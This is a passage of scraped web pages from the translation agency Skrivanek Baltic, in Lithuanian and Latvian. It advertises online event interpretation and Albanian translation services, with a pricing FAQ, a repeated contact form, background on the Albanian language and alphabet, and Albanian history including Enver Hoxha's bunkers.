SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tiessaistes-pasakumu-rikosana/ - Translation Priorities: Optional Pasaulis keičiasi, o mes keičiamės kartu su juo. Jau kurį laiką gyvus susitikimus, seminarus ir konferencijas keičia virtualus gyvenimas. Net apdovanojimų ceremonijos ir įmonių renginiai vyksta internetu! Kad jūsų renginys virtualiame pasaulyje vyktų sklandžiai, turėtumėte kreiptis profesionalios pagalbos. „Skrivanek Baltic“ yra patyrusi renginių organizavimo partnerė ir šiuo metu jos nauja specializacija – „Zoom“ internetinių renginių organizavimas. Su mumis galite būti tikri, kad jūsų renginys vyks sklandžiai, kaip ir gyvas susitikimas. Be to, mūsų patirtis leidžia mums laisvai veikti tarptautinėje aplinkoje, kurioje kalbama keliomis kalbomis. Ar planuojate organizuoti virtualią konferenciją, kurios dalyviai kalba keliomis užsienio kalbomis? Ar netrukus įvyks keletas konkrečiai įmonei skirtų susitikimų, kuriuose turi dalyvauti ir jūsų darbuotojai, ir partnerių atstovai? Turite svarbų svečią, kuris moka tik savo gimtąją kalbą, tačiau jį turi suprasti visi „Zoom“ susirinkime dalyvaujantys darbuotojai? Galbūt tiesiog norite pakelti savo puikios komandos nuotaiką ir surengti vakaro vakarėlį, kuriame visi sėdi namuose ir visi kartu bendrauja internetu? Mūsų specialistai padės jums bet kurioje iš minėtų situacijų, taip pat parengs veiksmingą renginio scenarijų bet kokiai progai. Moderuoti bet kokį renginį gali būti iššūkis, tačiau tai dvigubai sunkiau virtualiuose renginiuose, kuriuose nėra tikro tiesioginio akių kontakto ir auditorijos reakcijos. „Skrivanek Baltic“ siūlo profesionalų renginių moderavimą arba, jei pageidaujate tai daryti patys, instrukcijas, kaip surengti internetinį renginį, kad iš jo gautumėte kuo daugiau naudos. Jums nereikia rūpintis techniniu ryšiu, tuo pasirūpinsime mes – sutvarkysime internetinę svetainę ir, jei reikės, suskirstysime dalyvius į atskiras grupes. Per „Zoom“ galima atlikti nuoseklųjį ir sinchroninį vertimą. Jei norite įrašyti renginį, suteiksime ir tokią galimybę – prireikus gausite renginio turinio vaizdo ir garso failus, taip pat internetinę nuorodą į renginio vaizdo ir garso įrašą. Vaizdo ir garso įrašai pateikiami jau sumontuotu formatu, nekeičiant turinio, tačiau su nereikalingomis pauzėmis įrašo pradžioje arba pabaigoje. Jei naudojatės sinchroninio vertimo paslaugas teikiančio vertėjo paslaugomis, į vaizdo įrašą galime įtraukti vieną jūsų pasirinktą kalbą. Esame kalbų specialistai ir teikiame daugiau nei 110 kalbų vertimo paslaugas – su mumis bendrauti lengviau nei bet kada anksčiau! Prireikus parengsime ataskaitą apie dalyvių veiklą, įskaitant jų prisijungimo būsenos trukmę, ir pateiksime renginio pokalbių kambario tekstinę stenogramą. Jei kas nors nerimauja dėl savo pasirodymo ekrane, pridėsime galimybę patobulinti dalyvio vaizdo įrašą tiesioginiame „Zoom“ eteryje! DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI „Skrivanek Baltic“ yra sertifikuotas vertimų biuras, veikiantis Latvijoje nuo 2003 m. ir teikiantis aukščiausios kokybės kalbų paslaugas. „Skrivanek“ yra viena didžiausių kalbų paslaugų teikėjų pasaulyje, turinti daugiau nei 25 metų patirtį. Šiuo metu ji turi beveik penkiasdešimt filialų visame pasaulyje – JAV, Austrijoje, Belgijoje, Bulgarijoje, Čekijoje, Estijoje, Lietuvoje, Lenkijoje, Slovakijoje, Slovėnijoje ir Vokietijoje. 2007 m. duris atvėrė „Skrivanek“ mokymo centras, suteikiantis vaikams ir suaugusiesiems galimybę papildyti ir įgyti užsienio kalbų įgūdžių su kvalifikuotais ir kompetentingais mokytojais, taip pat gauti daugiau su kalbomis susijusios informacijos. Teikiame vertimo žodžiu ir raštu paslaugas, taip pat įvairius kalbinius sprendimus. Teikiame vertimo žodžiu paslaugas konferencijose, verslo susitikimuose, taip pat mūsų vertėjai žodžiu padeda vykstant posėdžiams. Rašytiniai vertimai apima specializuotus ir bendruosius vertimus įvairiose srityse. Taip pat teikiame lokalizavimo, teksto adaptavimo ir kūrimo, DTP maketavimo ir kalbų mokymo paslaugas. Abiejų profesijų atstovai puikiai moka kalbas, tačiau vertėjas raštu atlieka visų rūšių vertimus, o vertėjas žodžiu – vertimo žodžiu paslaugas – nuoseklųjį arba sinchroninį vertimą. REIKIA VERTIMO ARBA PAGALBOS ORGANIZUOJANT INTERNETINĮ RENGINĮ? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekite su mumis RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Rakstiski un mutiski tulkojumi albāņu valodā. Saņemiet cenas aprēķinu bez maksas tikai 15 minūtes! Sazinieties ar mums! - Published: 2022-07-06 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-albanu-valoda/ - Translation Priorities: Optional TULKOJUMI ALBĀŅU VALODĀ / TULKOT ALBĀŅU VALODĀ CIK MAKSĀ TULKOJUMI ALBĀŅU VALODĀ? Tulkojumu cena no un uz albāņu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu albāņu valodā cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no un uz albāņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ALBĀŅU VALODĀ: dažādu dokumentu tulkošana albāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; albāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi albāņu valodā; individuālie albāņu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus albāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI ALBĀŅU VALODĀ / TULKOT ALBĀŅU VALODĀ CIK MAKSĀ TULKOJUMI ALBĀŅU VALODĀ? Tulkojumu cena no un uz albāņu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu albāņu valodā cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no un uz albāņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ALBĀŅU VALODĀ: dažādu dokumentu tulkošana albāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; albāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi albāņu valodā; individuālie albāņu valodas kursi. Meklējiet valodu risinājumus albāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR ALBĀŅU VALODU UN ALBĀNIJU Dzīve Albānijā nemaz nelīdzinās ierastajam eiropiešu dzīves ritmam, kad visi kaut kur steidzas un mūžīgi ir aizņemti – albāņi dzīvo lēni, mierīgi un neuztraucas par mazāk būtiskiem dzīves sīkumiem. Šī ir valsts, kurā valda vienkāršība un savi noteikumi, kā padarīt dzīvi sev tīkamu. Albānija neseko nekādiem noteiktiem principiem – cauri gadsimtiem viņi dzīvo un nesūdzas par neko. Albānija ar savu seno un sarežģīto vēsturi, ar neskarto dabu-klinšainajām nogāzēm, tirkīza zilo jūru, ezeriem, upēm un mežiem ir viena no skaistākajām valstīm Eiropā. Vietējo iedzīvotāju viesmīlība, sirsnība veido šīs valsts dienvidniecisko šarmu. Gados vecākie albāņi ir tik neiedomājami lepni par savu valsti un tās senajām tradīcijām, ka pat ikdienā mēdz staigāt tautas tērpos. Albāņu valoda ir unikāla – līdzīgu tai neatrast nevienā citā valstī, jo šeit nedzirdēsiet līdzīgus vārdus kā citās valodās. Šī ir lielu kontrastu zeme, kur vienkāršais mijas ar smalko, garīgo un noslēpumaino. Albāņu valoda ir izolēta indoeiropiešu saimes valoda un par tās vietu indoeiropiešu valodu saimē ir bijušas daudz diskusiju. Albāņu un viņu valodas izcelsme ir ļoti neskaidra. Vieni valodas pētnieki norāda, ka tā radusies no ilīriešu valodas, no vienas no vissenākajām Balkānu pussalas valodām. Tomēr daudzi pētījumi liecina, ka ilīriešu valodai ir daudz kopīgu iezīmju ar romāņu un ķeltu valodām, bet albāņu valoda fonētiski un morfoloģiski ir tuvāka slāvu, indoirāņu un armēņu valodai. Tiek pieļauta arī varbūtība, ka albāņu valoda ir cēlusies no dākiešu valodas vai pat trāķiešu valodām. Lielu iespaidu uz albāņu valodu ir atstājis Romas impērijas laiks 2. – 4. gs. p. m. ē. , kā arī slāvu kolonizācija no 6. līdz 7. gadsimtam, Bizantijas ietekme un daļas etniskās teritorijas iekļaušana bulgāru un serbu pārvaldītajās teritorijās, kā arī cīņa par valdošo konfliktu konfrontāciju starp katoļu un pareizticīgo baznīcām. Albāņu valoda ir oficiālā valoda Albānijā, Kosovā un ir viena no valsts valodām Ziemeļmaķedonijā un Melnkalnē. Albāņu valodai ir 2 dialekti – gegu dialekts, ko runā Albānijas ziemeļos un Kosovā, tosku dialekts – Albānijas dienvidu reģionā, kuri galvenokārt atšķiras tikai fonētiski, bet dialektu lietotāji viens otru saprot bez grūtībām. Albāņu literārā valoda 80% ir balstīta uz tosku dialektu. Kopš viduslaikiem Itālijas dienvidos dzīvojošie albāņi runā arberiešu valodā, arvanitiku valodā Grieķijā. Albāņu valodas oficiālais regulators ir Albānijas Zinātņu akadēmijas Sociālo zinātņu nodaļa. Māte Terēze ir vienīgā albāniete, kas jebkad ir saņēmusi Nobela prēmiju. Laika posmā no 1941. līdz 1992. gadam jebkura reliģija Albānijā bija aizliegta, kamēr tajā valdīja komunistiskais režīms. Tādējādi Albānija kļuva par pirmo ateistisko valsti uz planētas. Albānijā nav neviena Mcdonald’s restorāna, tomēr ir līdzīga ātrās ēdināšanas ķēde ar nosaukumu Kolonat. Katru vakaru Albānijas ciemos un pilsētās var novērot interesantu nodarbi, tiek slēgta satiksme un visi iedzīvotāji dodas pastaigās, lai izstaigātu vakariņu laikā uzņemtās kalorijas. Šo vakara pastaigu pat dēvē īpašā vārdā – xhiro. Albāņi savu valsti nesauc par Albāniju, bet gan par Shqipëria (Ērgļu zeme). Viens no pārsteidzošākajiem faktiem par Albāniju ir tas, ka tās iedzīvotāju skaits ir 3 miljoni, bet vismaz 7 miljoni albāņu dzīvo ārpus valsts robežām. Galvenais iemesls emigrācijai, kas sākās 90. gadu sākumā, bija milzīgais bezdarbs Albānijā. Līdz 1991. gadam Albānijā bija tikai 3000 automobiļu uz 3 miljoniem iedzīvotāju. Komunistiskā režīma laikā automašīna drīkstēja būt tikai partijas biedriem. 1995. gadā Albānijas valdība ieviesa luksoforu nodokli, bet Škodras pilsētā autovadītāji atteicās to maksāt, jo uzskatīja šo nodokli par absurdu. Iemesls – Škodras pilsētā nav neviena luksofora! Albāņu starpā kopš 15. gadsimta pastāv goda kodekss – Besa. Tas nozīmē solījuma turēšanu. Besa ir viens no svarīgākajiem faktiem, kas stāsta par Albānijas iedzīvotāju kultūru. Albāņi ir neizsakāmi māņticīgi – ik uz soļa viņi saskata kādu zīmi, kas brīdina viņus par nākotnes notikumiem. Ja vīrietim sanāks apmeklēt frizieri Albānijā, tad pēc matu nogriešanas nav jābrīnās, ka saņemsiet pļauku pa pakausi. Albāņiem tas ir tikai draudzīgs žests, kas ir kā labas veselības vēlējums. ALBĀŅU VALODAS ALFABĒTS No senākajiem zināmajiem rakstiem no 14. gadsimta albāņu valoda ir rakstīta, izmantojot daudz dažādu alfabētu. Agrākie rakstītie albāņu teksti nāk no Ghegas apgabala, kuru pamatā ir itāļu vai grieķu valoda. Sākotnēji Toskas dialekts tika rakstīts grieķu alfabētā un Ghegas dialekts tika rakstīts latīņu rakstībā. Abi dialekti tika rakstīti arī Osmaņu impērijas turku-arābu rakstības versijā, kirilicā un dažos vietējos alfabētos. Rakstnieki no Ziemeļalbānijas katoļu baznīcas ietekmē izmantoja latīņu burtus, tie, kuri dzīvoja Albānijas dienvidos un bija grieķu pareizticīgo baznīcai piederīgi, izmantoja grieķu burtus, bet pārējie rakstīt pratēji Albānijā islāma ietekmē izmantoja arābu burtus. Pirmie mēģinājumi izveidot oriģinālu albāņu alfabētu bija laika posmā no 1750. –1850. gadam. Šie simts gadi Albānijā bija pārsteidzošas ortogrāfiskās daudzveidības laikmets. Šajā periodā albāņu valoda tika rakstīta vismaz desmit dažādos alfabētos, kas noteikti ir Eiropas valodu rekords. Mūsdienu albāņu alfabēts ir latīņu alfabēts, kas sastāv no 36 burtiem (7 patskaņiem un 29 līdzskaņiem). Tas ir viens no diviem variantiem, kas apstiprināts Monastiras kongresā, ko 1908. gada novembrī sarīkoja albāņu intelektuāļi. Latīņu alfabētam tika pievienoti burti ë un ç un desmit digrafi: dh, th, xh, gj, nj, ng, ll, rr, zh un sh. Albāņu valodas alfabētā nav burta w. CIK SAREŽĢĪTA IR ALBĀŅU VALODA? Konkrētas valodas apguves grūtības vai vieglumu ietekmē tādi faktori kā mācību resursu pieejamība, izglītojamā saskarsme ar valodu, izglītojamā dzimtā valoda un svešvalodas specifiskās īpašības – gramatiskā struktūra, izruna, alfabēts u. c. Valodas ar sarežģītām gramatiskām struktūrām bieži tiek uzskatītas par sarežģītām un tāda ir arī albāņu valoda. Albāņu valoda ir klasificēta kā 2. līmeņa valoda kopā ar ungāru, albāņu, ukraiņu, hindi, malajiešu un citām. Pamatojoties uz šo klasifikāciju, albāņu valoda ir grūti apgūstama valoda. Tā nav tik grūti apgūstama kā arābu vai ķīniešu valoda, bet nav arī tik viegla kā zviedru, portugāļu vai spāņu valoda. Salīdzinot ar citām tās pašas kategorijas valodām, albāņu valoda ir samērā vienkārša. KUR UN CIK DAUDZ RUNĀ ALBĀŅU VALODĀ? Albāņu valodā runājošo skaits pasaulē varētu būt ap 8–10 miljoniem cilvēku. Salīdzinoši neliela daļa no tiem dzīvo Albānijā – aptuveni 3 miljoni, Kosovā aptuveni 2,2 miljoni. Salīdzinoši liels albāņu valodā runājošo skaits ir arī Ziemeļmaķedonijā un Grieķijā. Albāņu migrācija ārpus Albānijas robežām tiek datēta jau ar 15. gadsimtu. Interesants ir fakts, ka albāņu diasporai piederošo skaits ir ievērojami lielāks par pašā valstī dzīvojošo iedzīvotāju skaitu. Lielākās albāņu diasporas kopienas ir sastopamas Itālijā, Argentīnā, Rumānijā, Horvātijā, Turcijā, Skandināvijā, Vācijā, Šveicē un ASV. Citas nozīmīgas kopienas atrodas Austrālijā, Brazīlijā, Kanādā, Francijā, Beļģijā, Jaunzēlandē un Apvienotajā Karalistē. Albāņu diaspora turpina augt valstī esošā augstā bezdarba līmeņa rezultātā. ALBĀŅU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic albāņu valodas tulku un tulkotāju kolektīvs strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem albāņu valodā, sarežģītiem tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu albāņu valodā korektūru un stilistisko uzlabošanu, SEO satura veidošanu, pielāgojot to Albānijas tirgum un albāņu mentalitātei. Mūsu valodas speciālisti būs priecīgi pastāstīt par kultūras atšķirībām, lietišķo etiķeti, Albānijas vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz albāņu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu adaptāciju, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos, tiešsaistē Zoom vidē un citās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus no albāņu valodas un uz albāņu valodu. ALBĀŅU VALODA BIZNESĀ Albānijā lielākā daļa valsts amatpersonu runā angļu vai citā Eiropas valodā ─ franču, itāļu, vācu un grieķu valodā. Privātā uzņēmējdarbībā tā diemžēl ne vienmēr notiek, albāņu uzņēmēji izvēlas runāt savā dzimtajā valodā, kaut gan runā vismaz vienā svešvalodā, no kurām visizplatītākās ir angļu un itāļu valoda. Tulki tiek plaši izmantoti jebkura veida sanāksmēs, dažkārt tulks ir albāņu uzņēmēja asistents vai sekretārs. Līgumu slēgšana Albānijā ir gan mutiska gan/vai rakstiska. Albāņiem nepatīk dokumentu kārtošana un viņi cenšas lietas nesarežģīt. Arī privātajos uzņēmumos viena un tā pati persona var būt vadītājs, sekretāre, grāmatvede, kā arī šoferis. Lielākā daļa jauno albāņu (jaunāki par 35 gadiem) brīvi runā angļu valodā un bieži vien arī citās valodās, galvenokārt itāļu valodā. Ārpus Albānijas robežām albāņu valoda kā uzņēmējdarbības valoda netiek izmantota, taču tās zināšanas kaut iesācēja līmenī ir svarīgas, ja radusies iespēja un vēlme attīstīt savu uzņēmumu Albānijā. ENVERS HODŽA Par Albāniju mēs zinām salīdzinoši maz, bet interese par šo valsti gan kultūras, gan tūrisma ziņā turpina pieaugt. Runājot par otro, apceļojot Albāniju ik uz soļa var sastapties ar Envera Hodžas valdīšanas laika “pēdām” gan Albānijas politikā, gan arhitektūrā, iedzīvotāju domāšanā, reliģijā un vēsturē. Kas tad bija šis Envers Hodža? Envers Hodža bija komunistiskās Albānijas Tautas Republikas izveidotājs, vadītājs un Albānijas strādnieku partijas pirmais sekretārs. Viņš bija Albānijas premjerministrs no 1944. gada līdz 1954. gadam un ārlietu ministrs no 1946. gada līdz 1953. gadam. Hodža ieviesa Albānijā ekonomisko izolāciju no pārējās Eiropas, aizliedza jebkādu reliģiju un izveidoja stingru valsts kontroli pār tās iedzīvotājiem. Iepazīstot Albāniju, atklājas fakts, ka albāņi daudzās jomās iedvesmojas no Ziemeļkorejas. Izrādās, iemesli slēpjas dziļā diktatūras un protekcionisma pielūgsmē, kuru tautai iemācījis varenais Envers Hodža daudzu gadu desmitu laikā, valdot pēc Otrā pasaules kara līdz 80. gadu vidum. Hodža savā valdīšanas laikā pamazām sagrāva jebkāda veida Albānijas diplomātiskās un ekonomiskās attiecības gan ar Padomju Savienību un Ķīnu, gan ar Dienvidslāvijas republikām. Tādējādi, pēc savas ēras beigām, kas iestājās vienlaikus ar viņa nāvi 1985. gadā, Hodža Albāniju bija pilnībā izolējis no pārējās pasaules. Tā nepazina ne komunistiskos Austrumus, ne kapitālistiskos Rietumus. Kaut gan 1991. gadā noritēja pirmās daudzpartiju vēlēšanas, iedzīvotāji baiļu dēļ savu balsi pārliecinoši atdeva Komunistiskajai partijai. Tikai pēc gadiem sāka veidoties koalīcijas no vairākām partijām. Diktators Hodža gadu desmitiem centās pārliecināt iedzīvotājus, ka viņi dzīvo vienā no pasaules attīstītākajām un laimīgākajām zemēm. Valsts iejaucās visās iespējamajās cilvēku dzīves jomās, ieskaitot privāto. Iejaukšanās izpaudās līdz absurdam novestos aizliegumos – nedrīkstēja veikt reliģiskos rituālus, turēt mājās kaķus un suņus, zvanīt pa telefonu uz ārzemēm, iegādāties privātos automobiļus, audzēt bārdu utt. Pat vilciena sliedes esot beigušās pie valsts robežas. Atļauts bija maz kas, toties tas, kas bija atļauts, faktiski bija obligāts. Hodža bija slavens ar spilgtiem politiskajiem uzskatiem, ko īstenoja arī dzīvē: piemēram, viņš nosauca Albāniju par pirmo ateisma valsti pasaulē. Šobrīd pēc oficiālajiem datiem zināms, ka lielākā iedzīvotāju daļa pieder islamticībai, taču realitātē tikai aptuveni 5% no šiem ticīgajiem piekopj savas reliģijas rituālus. Patiesībā Albānija Hodžas ietekmē mūsdienās ir kļuvusi par vienu no retajiem izņēmumiem pasaulē, kur dažādas reliģijas miermīlīgi sadzīvo un pat atbalsta kaimiņa izvēli. 70. un 80. gados Hodža visā Albānijas teritorijā lika izbūvēt bunkurus: tam par iemeslu bija teritoriālie strīdi ar kaimiņiem un paranoiskas bailes no nepamatotiem uzbrukuma draudiem. Bija plānoti 222 tūkstoši bunkuru, bet uzcēla tikai aptuveni 174 tūkstošus. Bunkuru celtniecības laikā bojā aizgāja ļoti daudzi strādnieki, tāpēc bunkuros redzamas piemiņas plāksnes šo cilvēku piemiņai. Bunkuri Albānijā ir visur, lieli un mazi un tā noteikti ir valsts ar visvairāk bunkuriem pasaulē. Jau šķērsojot Albānijas robežu, pārņem sajūta, ka esi nokļuvis slepenā militārā objektā vai Holivudas filmu uzņemšanas laukumā, kur uzņem filmu par karu – visur no zemes laukā spraucas šīs savdabīgās arhitektūras formas. Protams, pilsētās tie nav tik pamanāmi, bet pierobežas pļavas ar tiem burtiski nosētas. Bunkuri sabūvēti arī ceļa malās, māju pagalmos, dārzos un parkos – visur, kur pēkšņi varētu ierasties ienaidnieks. Statistika liecinot, ka Albānijā esot apmēram 24 bunkuri uz kvadrātkilometru. Vienlaikus smieklīgi un traģiski, jo šī absolūti bezjēdzīgā bunkurizācijas programma novājināja valsts ekonomiku, izlietodama milzu līdzekļus, kuru valstij tik ļoti trūka gadu desmitiem – cilvēki dzīvoja neiedomājamā taupībā, pat elektrību saņemot trīsreiz dienā uz īsu brīdi. Tikai pēc 1990. gada valsts atteicās no bunkuru sistēmas uzturēšanas. Šobrīd daļu bunkuru iedzīvotāji izmanto kā nojumes, noliktavas vai citas palīgtelpas, daži tajos ierīkojuši ceļmalas kafejnīcas, bet liela daļa ir vienkārši pamesti. ALBĀŅU VALODAS DIENA Albāņi katru gadu 22. novembrī svin Albāņu alfabēta dienu. Šī nav valsts brīvdiena, taču tas ir ļoti nozīmīgs notikums albāņu tautai. Albāņu alfabēta dienas svinēšana notiek Manastiras kongresa gadadienā, kas notika Manastiras pilsētā no 1908. gada 14. līdz 22. novembrim. Kongresa mērķis bija standartizēt albāņu alfabētu un likvidēt valodas attēlojumu ar sešu dažādu alfabētu un to apakšvariantu palīdzību. Kongress pieņēma pašreizējo albāņu alfabētu, kas sastāv no 29 līdzskaņiem un 7 patskaņiem. 9 alfabēta burti ir divskaņi un vēl 2 ir attēloti ar diakritiskajiem simboliem. Burts W tiek lietots tikai aizgūtajos vārdos. Manastiras kongress bija viens no nozīmīgākajiem notikumiem Albānijas kultūrā, tāpēc tā gadadiena katru gadu tiek atzīmēta 22. novembrī. Visas skolas Albānijā, Kosovā un albāņu vairākuma apgabalos Maķedonijā organizē īpašas nodarbības un pasākumus, lai izglītotu bērnus vairāk par albāņu valodu, tās nozīmi pasaules kultūrā un runātu par albāņu valodas saglabāšanu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ALBĀŅU VALODĀ: dažādu dokumentu tulkošana albāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; albāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi albāņu valodā; individuālie albāņu valodas kursi. ALBĀŅU VALODAS KOMBINĀCIJAS: albāņu–latviešu; latviešu–albāņu; albāņu–lietuviešu; lietuviešu–albāņu; igauņu–albāņu; albāņu–igauņu; angļu–albāņu; albāņu–angļu; krievu–albāņu; albāņu–krievu; poļu–albāņu; albāņu–poļu; ukraiņu–albāņu; albāņu–ukraiņu; čehu–albāņu; albāņu–čehu; vācu–albāņu; albāņu–vācu; spāņu–albāņu; albāņu–spāņu; franču–albāņu; albāņu–franču; itāļu–albāņu; albāņu–itāļu; dāņu–albāņu; albāņu–dāņu; zviedru–albāņu; albāņu–zviedru; norvēģu–albāņu; albāņu–norvēģu; somu–albāņu; albāņu–somu, albāņu–arābu; arābu–albāņu; albāņu–armēņu, armēņu–albāņu; albāņu–baltkrievu, baltkrievu–albāņu; bulgāru–albāņu, albāņu–bulgāru; 